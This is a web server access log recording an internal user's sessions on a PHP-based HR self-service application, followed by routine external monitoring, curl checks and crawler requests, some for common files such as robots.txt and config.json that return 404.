192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:03:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:03:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:04:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:04:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.78 - - [03/Sep/2025:20:04:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:04:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.78 - - [03/Sep/2025:20:05:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.78 - - [03/Sep/2025:20:05:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:05:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:05:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.78 - - [03/Sep/2025:20:05:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:05:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.78 - - [03/Sep/2025:20:05:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:05:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.78 - - [03/Sep/2025:20:05:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:05:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
100.64.0.1 - - [03/Sep/2025:20:05:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:05:41 +0800] "GET / HTTP/1.0" 200 439
192.168.11.78 - - [03/Sep/2025:20:05:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.78 - - [03/Sep/2025:20:05:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.78 - - [03/Sep/2025:20:06:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10840
192.168.11.78 - - [03/Sep/2025:20:06:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10840 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:20:07:28 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:07:28 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:14:36 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:14:36 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:15:18 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:15:18 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:18:37 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:18:37 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:21:13 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:21:13 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:23:42 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:23:42 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:25:26 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:25:26 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:25:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:25:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:27:39 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:27:39 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:28:01 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:28:01 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:28:21 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:28:21 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:29:01 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)"
100.64.0.1 - - [03/Sep/2025:20:29:01 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:30:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:30:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:31:07 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:31:07 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:34:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:34:24 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:38:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:38:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:38:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
100.64.0.1 - - [03/Sep/2025:20:38:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:20:41:54 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:41:54 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:42:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:20:42:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:42:45 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:20:42:45 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:20:43:58 +0800] "\x16\x03\x01\x014\x01" 501 208 "-" "-"
100.64.0.1 - - [03/Sep/2025:20:43:58 +0800] "\x16\x03\x01\x014\x01" 501 208
100.64.0.1 - - [03/Sep/2025:20:43:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:43:59 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
100.64.0.1 - - [03/Sep/2025:20:44:05 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:20:44:05 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:06 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:20:44:06 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:07 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:20:44:07 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:07 +0800] "GET /config.json HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:20:44:07 +0800] "GET /config.json HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:20:44:08 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:12 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:20:44:12 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:20:44:12 +0800] "GET /eHR/ HTTP/1.1" 200 649
